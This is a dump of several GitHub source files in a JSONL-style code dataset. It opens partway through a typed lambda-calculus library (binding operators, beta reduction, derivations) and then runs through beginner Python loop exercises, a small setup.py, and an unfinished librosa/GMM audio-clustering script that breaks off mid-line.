w.r.t. the bound\n variable, with new_varname as the new name.\n\n Returns a copy. Will not affect types of either the expression or the\n variables.\"\"\"\n new_self = self.copy()\n new_self.init_body(variable_convert(self.body, {self.varname: new_varname}))\n new_self.init_var(name=new_varname)\n return new_self\n\n def latex_op_str(self):\n return self.latex_op_str_short()\n\n def latex_op_str_short(self):\n return \"%s %s_{%s} \\\\: . \\\\:\" % (self.op_name_latex, \n self.varname, \n self.vartype.latex_str())\n\n def __str__(self):\n return \"%s %s : %s, Type: %s\" % (self.op_name, self.varname,\n repr(self.body), self.type)\n\n def latex_str_long(self):\n return self.latex_str() + \"\\\\\\\\ Type: %s\" % self.type.latex_str()\n\n def latex_str(self, assignment=None, **kwargs):\n assignment = self.scope_assignment(assignment=assignment)\n return ensuremath(\"%s %s\" % (self.latex_op_str(), \n self.body.latex_str(assignment=assignment, **kwargs)))\n\n def __repr__(self):\n return \"(%s %s: %s)\" % (self.op_name, repr(self.var_instance),\n repr(self.body))\n\n @property\n def op_name(self):\n if (self.op_name_uni is not None\n and self.op_name_uni in self.secondary_names):\n return self.op_name_uni\n else:\n return self.canonical_name\n\n\n def free_terms(self, var_only=False):\n return super().free_terms(var_only=var_only) - {self.varname}\n\n def bound_variables(self):\n return super().bound_variables() | {self.varname}\n\n def calc_type_env(self, recalculate=False):\n sub_env = self.body.get_type_env(force_recalc=recalculate).copy()\n # ensure any variable types introduced by the variable show up even if\n # they are not present in the subformula\n sub_env.add_type_to_var_set(self.var_instance.type)\n if self.varname in sub_env.var_mapping:\n del sub_env.var_mapping[self.varname]\n return sub_env\n\n def type_env(self, constants=False, target=None, free_only=True):\n sub_env = self.body.type_env(constants=constants, target=target,\n free_only=free_only)\n if free_only and self.varname in sub_env: # binding can be vacuous\n del sub_env[self.varname]\n return sub_env\n\n\n def vacuous(self):\n \"\"\"Return true just in case the operator's variable is not free in the\n body expression.\"\"\"\n return self.varname in super().free_variables()\n\n def term(self):\n return False\n\n def project_partiality_strict(b, body, condition):\n # refactor somehow?\n from .sets import ConditionSet\n from .boolean import ForallUnary\n b_cls = type(b)\n if isinstance(b, ConditionSet) or isinstance(b, LFun):\n return b\n else: # IotaPartial handled in subclass\n return Partial(b_cls(b.var_instance, body),\n ForallUnary(b.var_instance, body))\n\n def project_partiality_weak(b, body, condition):\n # refactor somehow?\n from .sets import ConditionSet\n from .boolean import ForallUnary, ExistsUnary, IotaUnary, ExistsExact\n b_cls = type(b)\n if isinstance(b, ForallUnary):\n return Partial(b_cls(b.var_instance, body),\n b_cls(b.var_instance, condition))\n elif isinstance(b, ExistsUnary) or isinstance(b, ExistsExact):\n return Partial(b_cls(b.var_instance, body & condition),\n b_cls(b.var_instance, condition))\n elif isinstance(b, IotaUnary): # does this lead to scope issues for the condition?\n return Partial(b_cls(b.var_instance, body & condition),\n ExistsUnary(b.var_instance, condition))\n elif isinstance(b, ConditionSet) or isinstance(b, LFun):\n return b\n else: # IotaPartial handled in subclass\n # is this really a type issue?\n raise TypeMismatch(b, None,\n \"No implemented way of projecting partiality for BindingOp %s\"\n % repr(type(b).__name__))\n\n def calculate_partiality(self, vars=None):\n if vars is None:\n vars = set()\n if isinstance(self, LFun):\n vars |= {self.varname}\n\n # defer any further calculation if there are bound variables in the body\n if vars & self.body.free_variables():\n return self\n\n new_body = self.body.calculate_partiality(vars=vars)\n if isinstance(new_body, Partial):\n if new_body.condition == from_python(True):\n return derived(self.copy_local(self.var_instance, new_body),\n self, \"Partiality simplification\")\n if self.varname in new_body.condition.free_variables():\n if BindingOp.partiality_weak:\n return derived(\n self.project_partiality_weak(new_body.body,\n new_body.condition),\n self, \"Partiality simplification\")\n else:\n return derived(\n self.project_partiality_strict(new_body.body,\n new_body.condition),\n self, \"Partiality simplification\")\n else:\n new_condition = new_body.condition\n new_self = self.copy_local(self.var_instance, new_body.body)\n return derived(Partial(new_self, new_condition), self,\n \"Partiality simplification\")\n else:\n return derived(self.copy_local(self.var_instance, new_body), self,\n \"Partiality simplification\")\n\n @classmethod\n def try_parse_header(cls, s, assignment=None, locals=None):\n \"\"\"Try and parse the header of a binding operator expression, i.e.\n everything up to the body including ':'.\n\n If this succeeds, it will return a tuple with the class object, the\n variable name, the variable type, and the string after the ':'' if any.\n\n If it fails, it will either return None or raise an exception. That\n exception is typically a ParseError.\n \"\"\"\n\n global registry\n\n i = 0\n if BindingOp.init_op_regex is None:\n return None # no operators to parse\n op_match = re.match(BindingOp.init_op_regex, s)\n if not op_match:\n raise parsing.ParseError(\n \"Unknown operator when trying to parsing \"\n \"binding operator expression\", s, None, met_preconditions=False)\n op_name = op_match.group(1) # operator name\n i = op_match.end(1)\n\n if op_name in registry.canonicalize_binding_ops:\n op_name = registry.canonicalize_binding_ops[op_name]\n if op_name not in registry.binding_ops:\n raise Error(\n \"Can't find binding operator '%s'; should be impossible\"\n % op_name)\n op_class = registry.binding_ops[op_name]\n\n split = s.split(\":\", 1)\n if (len(split) != 2):\n # possibly should change to met_preconditions = True in the future.\n # At this point, we have seen a binding expression token.\n raise parsing.ParseError(\n \"Missing ':' in binding operator expression\", s, None,\n met_preconditions=False)\n header, remainder = split\n vname = header[i:].strip() # removes everything but a variable name\n var_seq = cls.try_parse_term_sequence(vname, lower_bound=None,\n upper_bound=None, assignment=assignment)\n return (op_class, var_seq, remainder)\n\n @classmethod\n def try_parse_binding_struc_r(cls, struc, assignment=None, locals=None,\n vprefix=\"ilnb\"):\n \"\"\"Attempt to parse structure `s` as a binding structure. Used by the\n factory function.\n \n assignment: a variable assignment to use when parsing.\n\n `struc` is a semi-AST with all parenthetical structures parsed.\n (See `parsing.parse_paren_str`.)\n\n Format: 'Op v : b'\n * 'Op' is one of 'lambda', 'L', 'λ', 'Forall', 'Exists', 'Iota'.\n (Subclasses can register themselves to be parsed.)\n * 'v' is a variable name expression (see try_parse_typed_term),\n e.g. 'x_e'\n * 'b' is a function body, i.e. something parseable into a TypedExpr.\n\n If 'v' does not provide a type, it will attempt to guess one based on\n the variable name. The body will be parsed using a call to the\n recursive `TypedExpr.try_parse_paren_struc_r`, with a shifted assignment\n using the new variable 'v'.\n\n Returns a subclass of BindingOp.\n \"\"\"\n\n if (len(struc) == 0):\n return None\n if isinstance(struc[0], str) and struc[0] in parsing.brackets:\n potential_header = struc[1]\n bracketed = True\n else:\n potential_header = struc[0]\n bracketed = False\n if not isinstance(potential_header, str):\n return None\n result = BindingOp.try_parse_header(potential_header)\n if result is None:\n return None\n (op_class, var_list, remainder) = result\n # remainder is any string left over from parsing the header.\n if bracketed:\n # note: syntax checking for bracket matching is already done, this\n # does not need to check for that here.\n assert(parsing.brackets[struc[0]] == struc[-1])\n new_struc = [remainder,] + struc[2:-1]\n else:\n new_struc = [remainder,] + struc[1:]\n if assignment is None: \n assignment = dict()\n else:\n assignment = assignment.copy()\n store_old_v = None\n for var_tuple in var_list:\n (v,t) = var_tuple\n assignment[v] = TypedTerm(v, t)\n body = None\n try:\n body = TypedExpr.try_parse_paren_struc_r(new_struc,\n assignment=assignment, locals=locals, vprefix=vprefix)\n except Exception as e:\n if isinstance(e, parsing.ParseError):\n raise e\n else:\n raise parsing.ParseError(\n \"Binding operator expression has unparsable body\",\n parsing.flatten_paren_struc(struc), None, e=e)\n if body is None:\n raise parsing.ParseError(\n \"Can't create body-less binding operator expression\",\n parsing.flatten_paren_struc(struc), None)\n result = BindingOp.binding_op_factory(op_class, var_list, body,\n assignment=assignment)\n return result\n\n @classmethod\n def random(cls, ctrl, body_type=type_t, max_type_depth=1):\n from . import test\n var_type = get_type_system().random_type(max_type_depth, 0.5)\n variable = test.random_term(var_type, usedset=test.random_used_vars,\n prob_used=0.2, prob_var=1.0)\n test.random_used_vars |= {variable}\n return cls(variable, ctrl(typ=type_t))\n\n\nclass LFun(BindingOp):\n \"\"\"A typed function. Can itself be used as an operator in a TypedExpr.\n\n \"\"\"\n canonical_name = \"Lambda\"\n secondary_names = {\"L\", \"λ\", \"lambda\"}\n op_name_uni=\"λ\"\n op_name_latex=\"\\\\lambda{}\"\n\n def __init__(self, var_or_vtype, body, varname=None, let=False,\n assignment=None, type_check=True):\n # Use placeholder typ argument of None. This is because the input type\n # won't be known until the var_or_vtype argument is parsed, which is\n # done in the superclass constructor.\n # sort of a hack, this could potentially cause odd side effects if\n # BindingOp.__init__ is changed without taking this into account.\n super().__init__(var_or_vtype=var_or_vtype, typ=None, body=body,\n varname=varname, body_type=body.type, assignment=assignment,\n type_check=type_check)\n self.type = FunType(self.vartype, body.type)\n self.let = let\n\n @property\n def argtype(self):\n return self.type.left\n\n @property\n def returntype(self):\n return self.type.right\n\n def functional(self):\n return True # no need to do any calculations\n\n def copy(self):\n r = LFun(self.argtype, self.body, self.varname, type_check=False)\n r.let = self.let\n return r\n\n def copy_local(self, var, arg, type_check=True):\n r = LFun(var, arg, type_check=type_check)\n r.let = self.let\n return r\n\n def try_adjust_type_local(self, unified_type, derivation_reason, assignment,\n env):\n vacuous = False\n # env will not start with bound variable in it\n env.add_var_mapping(self.varname, self.argtype)\n # update mapping with new type\n left_principal = env.try_add_var_mapping(self.varname,\n unified_type.left)\n if left_principal is None:\n return None\n new_body = self.body\n if self.argtype != left_principal:\n # arg type needs to be adjusted.\n new_var = TypedTerm(self.varname, left_principal)\n else:\n new_var = self.var_instance\n\n if self.type.right != unified_type.right:\n new_body = new_body.try_adjust_type(unified_type.right,\n derivation_reason=derivation_reason,\n assignment=assignment)\n new_fun = self.copy_local(new_var, new_body)\n env.merge(new_body.get_type_env())\n if self.varname in env.var_mapping:\n del env.var_mapping[self.varname]\n new_fun = new_fun.under_type_assignment(env.type_mapping)\n return new_fun \n\n def apply(self,arg):\n \"\"\"Apply an argument directly to the function.\n\n `__call__` plus `reduce` is (almost) equivalent to `apply`, but using\n `apply` directly will not generate a derivations.\"\"\"\n\n # do I really want flexible equality here??\n # TODO: return to this. Right now a type mismatch still gets raised\n # during beta reduction.\n ts = get_type_system()\n if ts.eq_check(self.argtype, arg.type):\n # first check for potential variable name collisions when\n # substituting, and the substitute\n #TODO: do I want to actually return the result of alpha converting?\n # May be needed later?\n new_self = alpha_convert(self, unsafe_variables(self, arg))\n # TODO: the copy here is a hack. Right now identity functions\n # otherwise result in no copying at all, leading to very\n # wrong results. This needs to be tracked down to its root and\n # fixed.\n return (beta_reduce_ts(new_self.body, new_self.varname, arg)).copy()\n else:\n raise TypeMismatch(self,arg, \"Application\")\n\n def compose(self, other):\n \"\"\"Function composition.\"\"\"\n return fun_compose(self, other)\n\n def __mul__(self, other):\n \"\"\"Override `*` as function composition for LFuns. Note that this\n _only_ works for LFuns currently, not functional constants/variables.\"\"\"\n return self.compose(other)\n\n @classmethod\n def random(self, ctrl):\n from . import test\n # not great at reusing bound variables\n ftyp = get_type_system().random_from_class(types.FunType)\n return test.random_lfun(ftyp, ctrl)\n\ndef geach_combinator(gtype, ftype):\n body = term(\"g\", gtype)(term(\"f\", ftype)(term(\"x\", ftype.left)))\n combinator = LFun(gtype, LFun(ftype,\n LFun(ftype.left, body,varname=\"x\"),varname=\"f\"), varname=\"g\")\n return combinator\n\ndef fun_compose(g, f):\n \"\"\"Function composition using the geach combinator for the appropriate type,\n defined above.\"\"\"\n if (not (g.type.functional() and f.type.functional()\n and g.type.left == f.type.right)):\n raise types.TypeMismatch(g, f, \"Function composition type constraints not met\")\n combinator = geach_combinator(g.type, f.type)\n result = (combinator(g)(f)).reduce_all()\n return result\n\n\n###############\n#\n# Reduction code\n#\n###############\n\n\ndef unsafe_variables(fun, arg):\n \"\"\"For a function and an argument, return the set of variables that are not\n safe to use in application.\"\"\"\n return arg.free_variables() | fun.free_variables()\n\ndef beta_reduce_ts(t, varname, subst):\n if varname in t.free_variables():\n if (t.term() and t.op == varname):\n return subst # TODO copy??\n # we will be changing something in this expression, but not at this\n # level of recursion.\n parts = list()\n for p in t:\n parts.append(beta_reduce_ts(p, varname, subst))\n t = t.copy_local(*parts)\n return t\n\ndef variable_replace(expr, m):\n def transform(e):\n return TypedExpr.factory(m[e.op])\n return variable_transform(expr, m.keys(), transform)\n\ndef variable_replace_strict(expr, m):\n def transform(e):\n result = TypedExpr.factory(m[e.op])\n if result.type != e.type:\n raise TypeMismatch(e, result, \"Strict variable replace failed with mismatched types\")\n return result\n return variable_transform(expr, m.keys(), transform)\n\ndef term_replace_unify(expr, m):\n def transform(e):\n ts = get_type_system()\n result = TypedExpr.factory(m[e.op])\n if result.type != e.type:\n unify = ts.unify(result.type, e.type)\n if unify is None:\n raise TypeMismatch(e, result, \"Variable replace failed with mismatched types\")\n if unify == e.type: # unify gives us back e. Can we return e?\n if result.term() and result.op == e.op:\n return e\n else:\n return result\n elif unify == result.type: # unify consistent with result\n return result\n else: # unify results in a 3rd type\n result = result.try_adjust_type(unify, assignment=m)\n return result\n else:\n if result.term() and result.op == e.op:\n return e\n else:\n return result\n\n r = term_transform_rebuild(expr, m.keys(), transform)\n return r\n\ndef variable_convert(expr, m):\n def transform(e):\n return TypedTerm(m[e.op], e.type)\n return variable_transform(expr, m.keys(), transform)\n\ndef variable_transform(expr, dom, fun):\n \"\"\"Transform free instances of variables in expr, as determined by the\n function fun.\n\n Operates on a copy.\n expr: a TypedExpr\n dom: a set of variable names\n fun: a function from terms to TypedExprs.\"\"\"\n # TODO: check for properly named variables?\n # TODO: double check -- what if I recurse into a region where a variable\n # becomes free again?? I think this goes wrong\n targets = dom & expr.free_variables()\n if targets:\n if expr.term() and expr.op in targets:\n # expr itself is a term to be transformed.\n return fun(expr)\n expr = expr.copy()\n for i in range(len(expr.args)):\n expr.args[i] = variable_transform(expr.args[i], dom, fun)\n return expr\n\ndef term_transform_rebuild(expr, dom, fun):\n \"\"\"Transform free instances of variables in expr, as determined by the\n function fun.\n\n Operates on a copy.\n expr: a TypedExpr\n dom: a set of variable names\n fun: a function from terms to TypedExprs.\"\"\"\n\n targets = dom & expr.free_terms()\n if targets:\n if expr.term() and expr.op in targets:\n # expr itself is a term to be transformed.\n return fun(expr)\n seq = list()\n dirty = False\n for i in range(len(expr.args)):\n seq.append(term_transform_rebuild(expr.args[i], targets, fun))\n if seq[-1] != expr.args[i]:\n dirty = True\n if dirty:\n expr = expr.copy_local(*seq)\n return expr\n\n\n# TODO: these last two functions are very similar, make an abstracted version?\n\ndef alpha_variant(x, blockset):\n \"\"\"find a simple variant of string x that isn't in blocklist. Try adding\n numbers to the end, basically.\n side effect WARNING: updates blocklist itself to include the new\n variable.\"\"\"\n if not x in blockset:\n return x\n split = utils.vname_split(x)\n if len(split[1]) == 0:\n count = 1\n else:\n # TODO: double check this -- supposed to prevent counterintuitive things\n # like blocked \"a01\" resulting in \"a1\"\n count = int(split[1]) + 1\n prefix = split[0]\n t = prefix + str(count)\n while t in blockset:\n count += 1\n t = prefix + str(count)\n blockset.add(t) # note: fails for non-sets\n return t\n\ndef alpha_convert(t, blocklist):\n \"\"\" produce an alphabetic variant of t that is guaranteed not to have any\n variables in blocklist. \n\n Possibly will not change t.\"\"\"\n overlap = t.bound_variables() & blocklist\n full_bl = blocklist | t.free_variables() | t.bound_variables()\n # note that this relies on the side effect of alpha_variant...\n conversions = {x : alpha_variant(x, full_bl) for x in overlap}\n return alpha_convert_r(t, overlap, conversions)\n\ndef alpha_convert_r(t, overlap, conversions):\n overlap = overlap & t.bound_variables()\n if overlap:\n if isinstance(t, BindingOp) and t.varname in overlap:\n # the operator is binding variables in the overlap set.\n # rename instances of this variable that are free in the body of the\n # operator expression.\n t = t.alpha_convert(conversions[t.varname])\n parts = list()\n for i in range(len(t.args)):\n parts.append(alpha_convert_r(t.args[i], overlap, conversions))\n t = t.copy_local(*parts)\n return t\n\n\n\ndef is_symbol(s):\n \"A string s is a symbol if it starts with an alphabetic char.\"\n return (isinstance(s, str) and len(s) > 0\n and s[:1].isalpha()\n and not is_multiword(s))\n\ndef is_var_symbol(s):\n \"A logic variable symbol is an initial-lowercase string.\"\n return is_symbol(s) and s[0].islower()\n\ndef is_multiword(s):\n \"\"\"a string is multiword if there is intermediate (non-initial and\n non-trailing) whitespace.\"\"\"\n #TODO this could be more efficient\n return (len(s.strip().split()) != 1)\n\nclass DerivationStep(object):\n \"\"\"A single step of a derivation.\"\"\"\n def __init__(self, result, desc=None, origin=None, latex_desc=None,\n subexpression=None, trivial=False):\n self.result = result\n self.subexpression = subexpression\n if desc is None:\n if latex_desc is None:\n self.desc = self.latex_desc = \"\"\n else:\n self.desc = latex_desc\n else:\n self.desc = desc\n if latex_desc is None:\n self.latex_desc = desc\n else:\n self.latex_desc = latex_desc\n if isinstance(origin, TypedExpr):\n self.origin = (origin,)\n else:\n self.origin = tuple(origin)\n self.trivial = trivial\n\n def origin_str(self, latex=False):\n if len(self.origin) == 1:\n if latex:\n return self.origin[0].latex_str()\n else:\n return repr(self.origin[0])\n else:\n if latex:\n return ensuremath(\"(\" +\n (\" + \".join([o.latex_str() for o in self.origin])) + \")\")\n else:\n return \"(\" + (\" + \".join([repr(o) for o in self.origin])) + \")\"\n\n def __repr__(self):\n return (\"[DerivationStep origin: \"\n + repr(self.origin)\n + \", result: \"\n + repr(self.result)\n + \", description: \"\n + self.desc\n + \"]\")\n\nclass Derivation(object):\n \"\"\"A derivation sequence, consisting of DerivationSteps.\"\"\"\n def __init__(self, steps):\n self.steps = list()\n self.steps_hash = dict()\n if steps is not None:\n self.add_steps(steps)\n self.result = self[-1]\n else:\n self.result = None\n\n def add_step(self, s):\n self.steps_hash[len(self.steps)] = s\n self.steps.append(s)\n\n def add_steps(self, steps):\n for s in steps:\n self.add_step(s)\n\n def __iter__(self):\n return iter(self.steps)\n\n def __len__(self):\n return len(self.steps)\n\n def __getitem__(self, i):\n return self.steps[i]\n\n def steps_sequence(self, latex=False, ignore_trivial=False):\n l = list()\n if len(self.steps) > 0:\n l.append((self.steps[0].origin_str(latex), None, None))\n for i in range(len(self.steps)):\n # assume that origin matches previous result. Could check this.\n if self.steps[i].trivial and ignore_trivial:\n continue\n if latex:\n if self.steps[i].trivial:\n l.append((\"...\", self.steps[i].latex_desc,\n self.steps[i].subexpression))\n else:\n l.append((self.steps[i].result.latex_str(),\n self.steps[i].latex_desc,\n self.steps[i].subexpression))\n else:\n l.append((repr(self.steps[i].result),\n self.steps[i].desc,\n self.steps[i].subexpression))\n return l\n\n def equality_display(self, content, style=None):\n l = self.steps_sequence(latex=True, ignore_trivial=True)\n n = display.DisplayNode(content=content, parts=[step[0] for step in l],\n style = display.EqualityDisplay())\n return n\n\n def build_display_tree(self, recurse=False, parent=None, reason=None,\n style=None):\n defaultstyle = {\"align\": \"left\"}\n style = display.merge_styles(style, defaultstyle)\n node_style = display.LRDerivationDisplay(**style)\n l = self.steps_sequence(latex=True)\n parts = list()\n for (expr, subreason, subexpression) in l:\n if reason == \"\":\n reason = None\n if subexpression and subexpression.derivation and (recurse):\n parts.append(subexpression.derivation.build_display_tree(\n recurse=recurse,\n parent=expr,\n reason=subreason,\n style=style))\n else:\n parts.append(display.DisplayNode(content=expr,\n explanation=subreason, parts=None, style=node_style))\n if len(parts) == 0:\n parts = None\n return display.DisplayNode(content=parent, explanation=reason,\n parts=parts, style=node_style)\n\n def trace(self, recurse=True, style=None):\n return self.build_display_tree(recurse=recurse, style=style)\n\n def show(self, recurse=False, style=None):\n return self.trace(recurse=recurse, style=style)\n\n def _repr_html_(self):\n return self.build_display_tree(recurse=False)._repr_html_()\n\n def steps_str(self):\n l = self.steps_sequence(latex=False)\n s = \"\"\n i = 1\n for (expr, reason, subexpression) in l:\n if reason is None:\n s += \"%2i. %s\\n\" % (i, expr)\n else:\n s += \"%2i. %s (%s)\\n\" % (i, expr, reason)\n i += 1\n return s\n\n def __repr__(self):\n return self.steps_str()\n\n\ndef derivation_factory(result, desc=None, latex_desc=None, origin=None,\n steps=None, subexpression=None, trivial=False):\n \"\"\"Factory function for `Derivation`s. See `derived`.\"\"\"\n if origin is None:\n if steps is not None and len(steps) > 0:\n origin = steps[-1].result\n drv = Derivation(steps)\n # note: will make a copy of the derivation if steps is one; may be better to have something more efficient in the long run\n drv.add_step(DerivationStep(result, desc=desc, origin=origin,\n latex_desc=latex_desc, subexpression=subexpression, trivial=trivial))\n return drv\n\ndef derived(result, origin, desc=None, latex_desc=None, subexpression=None,\n allow_trivial=False):\n \"\"\"Convenience function to return a derived TypedExpr while adding a\n derivational step. Always return result, adds or updates its derivational\n history as a side effect.\"\"\"\n if isinstance(result, TypedTerm) and result.derivation is None:\n try:\n # need to manually copy the typeenv?? TODO: double check...\n tenv = result._type_env\n # avoid mixing up derivations on terms. TODO: how bad is this?\n result = result.copy()\n result._type_env = tenv\n except AttributeError: # no _type_env set\n result = result.copy()\n trivial = False\n if result == origin: # may be inefficient?\n if allow_trivial:\n trivial = True\n else:\n # a bit hacky, but this scenario has come up\n if result.derivation is None and result is not origin:\n result.derivation = origin.derivation\n return result\n if result.derivation is None:\n d = origin.derivation\n else:\n d = result.derivation\n result.derivation = derivation_factory(result, desc=desc,\n latex_desc=latex_desc,\n origin=origin,\n steps=d,\n subexpression=subexpression,\n trivial=trivial)\n return result\n\ndef add_derivation_step(te, result, origin, desc=None, latex_desc=None,\n subexpression=None, allow_trivial=False):\n trivial = False\n if result == origin: # may be inefficient?\n if allow_trivial:\n trivial = True\n else:\n return te\n if te.derivation is None:\n d = origin.derivation\n else:\n d = te.derivation\n te.derivation = derivation_factory(result, desc=desc,\n latex_desc=latex_desc,\n origin=origin,\n steps=d,\n subexpression=subexpression,\n trivial=trivial)\n return te\n\ndef add_subexpression_step(te, subexpr, desc=None, latex_desc=None):\n if subexpr.derivation is None or len(subexpr.derivation) == 0:\n return te\n start = subexpr.derivation[0].origin[0]\n end = subexpr.derivation[-1].origin[-1]\n add_derivation_step(te, end, start, desc=desc, latex_desc=latex_desc,\n subexpression=subexpr)\n return te\n","repo_name":"rawlins/lambda-notebook","sub_path":"lamb/meta/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":142727,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"44"} +{"seq_id":"23055557950","text":"a = 0\nwhile a < 101:\n print(a)\n a = a + 1\n if a == 7 or a :\n break\n\n\nfor i in range(1, 101):\n if i % 7 == 0 or \"7\" in str(i):\n continue\n print(i)\n\n\nfor i in range(1, 101):\n if i % 7 == 0 or \"7\" in str(i):\n pass\n else:\n print(\"hey\")\n print(i)\n\n\na = 0\nwhile a < 10:\n print(a)\n a = a + 1\nelse:\n print(\"finished successfully\")\n\n\na = \"a\"\nwhile a != \"q\":\n a = input(\"enter q or now: \")\n\nelse:\n print(\"finished successfully\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MichaelRing81/DevOps1411","sub_path":"Lesson 2c.py","file_name":"Lesson 2c.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1760229351","text":"#!/usr/bin/python\n#-*- coding:utf-8 –*-\nimport json\n\n\nteachers_dic={\n '老师姓名':'egon',\n '老师年龄':18,\n '老师性别':'male',\n }\n\nwith open('老师信息', 'a', encoding='utf-8') as f:\n f.write(json.dumps(teachers_dic))\n","repo_name":"liqiongqiong/Python","sub_path":"day7/课程/1 复习.py","file_name":"1 复习.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38161236809","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom distutils.core import setup\n\nwith open('requirements.txt') as f:\n required = f.read().splitlines()\n\nsetup(\n name=\"pydatset\",\n author=\"Daniele Ettore Ciriello\",\n author_email=\"ciriello.daniele@gmail.com\",\n version=\"0.1\",\n license=\"MIT\",\n url=\"https://github.com/dnlcrl/PyDatSet\",\n download_url=\"https://github.com/dnlcrl/PyDatSet\",\n description=\"Load and augment various datasets in Python for computer vision purposes\",\n py_modules=\"\",\n packages=['pydatset'],\n install_requires=required,\n scripts=\"\"\n)\n","repo_name":"dnlcrl/PyDatSet","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"73839475014","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n# region imports and consts\nfrom joblib import dump, load\nimport librosa\nimport math\nimport librosa.display as display\nimport IPython.display as ipd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn\nfrom sklearn.mixture import GaussianMixture\nimport fastaudio.core.signal as fcs\nimport GetTranscription\nfrom util_GMM_features import gmm_features\nlvpath = \"E:\\Datasets\\Voice\\Librivox\\dev\\LibriSpeech\\dev-clean\"\nlibri_train = \"E:\\Datasets\\Voice\\LibriSpeech\"\nmcvpath = \"E:\\Datasets\\Voice\\Mozilla Common Voice\\en\\cv-corpus-6.1-2020-12-11\\en\"\nsingle_word = \"./samples/but bowl.wav\"\nmodel1 =\"EM_samples2k_covar-spherical_hopLength-60_sr-12k.joblib\"\nmodel2 =\"EM_samples-1000_covar-spherical_hopLength-50_sr-10000.joblib\"\nmodel3 =\"EM_samples-2000_covar-spherical_hopLength-20_sr-8000.joblib\"\nmodel4 =\"EM_samples-2000_covar-spherical_hopLength-80_sr-8000.joblib\"\nmodel5 =\"EM_samples-2000_covar-spherical_hopLength-80_sr-16000.joblib\"\nmodel6 =\"EM_samples-4000_covar-spherical_hopLength-40_sr-8000.joblib\"\nmodel7 =\"EM_samples-2000_covar-spherical_hopLength-16_sr-16000.joblib\"\nmodel8=\"EM2c_samples-2000_covar-spherical_hopLength-8_sr-8000.joblib\"\n# endregion\n\n# In[3]:\n\n\n\nclips = fcs.get_audio_files(libri_train)\nclip = clips[6701]\nEM = load(model7)\nsr = 16000\nhop_length = int(sr/1000)\naudio = librosa.load(clip, sr=sr)[0]\n\n# In[3]:\ndef normalize(x, axis=0):\n return sklearn.preprocessing.minmax_scale(x, axis=axis)\n\n#region Test\n\n# In[1]:\nthree = gmm_features(audio,sr,hop_length)\nprint(three)\nprint(three.shape)\n\nx = EM.predict(three)\n\n# In[215]:\nplt.figure(figsize=(21, 9))\n#raudio= librosa.resample(y=audio, orig_sr=sr, target_sr=100)\n\nfor s in range(len(x)):\n if x[s]==2:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='r')\n if x[s]==1:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='y')\n if x[s]==0:\n plt.axvline(x=s*hop_length, ymin=-0.4, ymax=0.6, c='g')\nplt.plot(audio)\n\n#endregion\n\n\n#In[]:\ngroups = []\nstart=0\nfor z in range(len(x)):\n if not x[z]==x[z-1]:\n groups.append([start,int(z*hop_length), x[z-1]])\n start= (z*hop_length)+1\n \n\n\n# In[177]:\n\n\nfig = plt.figure(figsize=(16, 16))\nplt.scatter(three[x == 0, 0], three[x == 0, 1], c='r')\nplt.scatter(three[x == 1, 0], three[x == 1, 1], c='b')\nplt.scatter(three[x == 2, 0], three[x == 2, 1], c='y')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n\n\n# In[174]:\n\nfig = plt.figure(figsize=(16, 16))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[x == 0, 0], three[x == 0, 1], three[x == 0, 2], c='r')\nplt.scatter(three[x == 1, 0], three[x == 1, 1], three[x == 1, 2], c='b')\nplt.scatter(three[x == 2, 0], three[x == 2, 1], three[x == 2, 2], c='y')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n# In[169]:\nfig = plt.figure(figsize=(16, 9))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[0], three[1], three[2])\n\n\n# In[170]:\n\n\nmodel = sklearn.cluster.KMeans(n_clusters=3)\nlabels = model.fit_predict(three)\n\nfig = plt.figure(figsize=(16, 9))\nax = fig.add_subplot(projection='3d')\nplt.scatter(three[labels == 0, 0], three[labels == 0, 1],\n three[labels == 0, 2], c='b')\nplt.scatter(three[labels == 1, 0], three[labels == 1, 1],\n three[labels == 1, 2], c='r')\nplt.scatter(three[labels == 2, 0], three[labels == 2, 1],\n three[labels == 2, 2], c='g')\nplt.xlabel('Zero Crossing Rate (scaled)')\nplt.ylabel('Energy (scaled)')\nplt.legend(('Class 0', 'Class 1'))\n\n\n\n\n\n\n# In[147]:\n\n\nnormalize(three[:, 1])\nnp.argmax(three[:, 0])\nnp.set_printoptions(formatter={'int': lambda x: \"{0:0.3f}\".format(x)})\nprint(three[:, 0])\n\n\n# In[107]:\n\n\nplt.plot(three[x == 2, :])\n\n\n# In[178]:\n\n\nprint(len(x))\nprint(x)\nx[0:150]\n\n\n\n\n\n\n# In[ ]:\n\n\nplt.figure(figsize=(16, 9))\nscaled_audio = (sklearn.preprocessing.minmax_scale(audio, axis=0))\naudio_range = np.max(scaled_audio) - np.min(scaled_audio)\nmean = np.mean(scaled_audio)\nprint(audio_range)\ny = np.full(len(audio), mean-audio_range*0.01) # audio non silence min\ny1 = np.full(len(audio), mean+audio_range*0.01) # audio non silence max\ny2 = np.full(len(audio), 0.8)\ny3 = np.full(len(audio), 0.15)\nenergy = librosa.pcen(audio)\ndelta_energy = librosa.feature.delta(energy)\ndelta_energy2 = librosa.feature.delta(delta_energy)\n\nplt.plot(sklearn.preprocessing.minmax_scale(audio, axis=0)) # blue\nplt.plot(sklearn.preprocessing.minmax_scale(energy, axis=0)) # yellow\nplt.plot(sklearn.preprocessing.minmax_scale(delta_energy, axis=0)) # green\nplt.plot(y, c='r')\nplt.plot(y1, 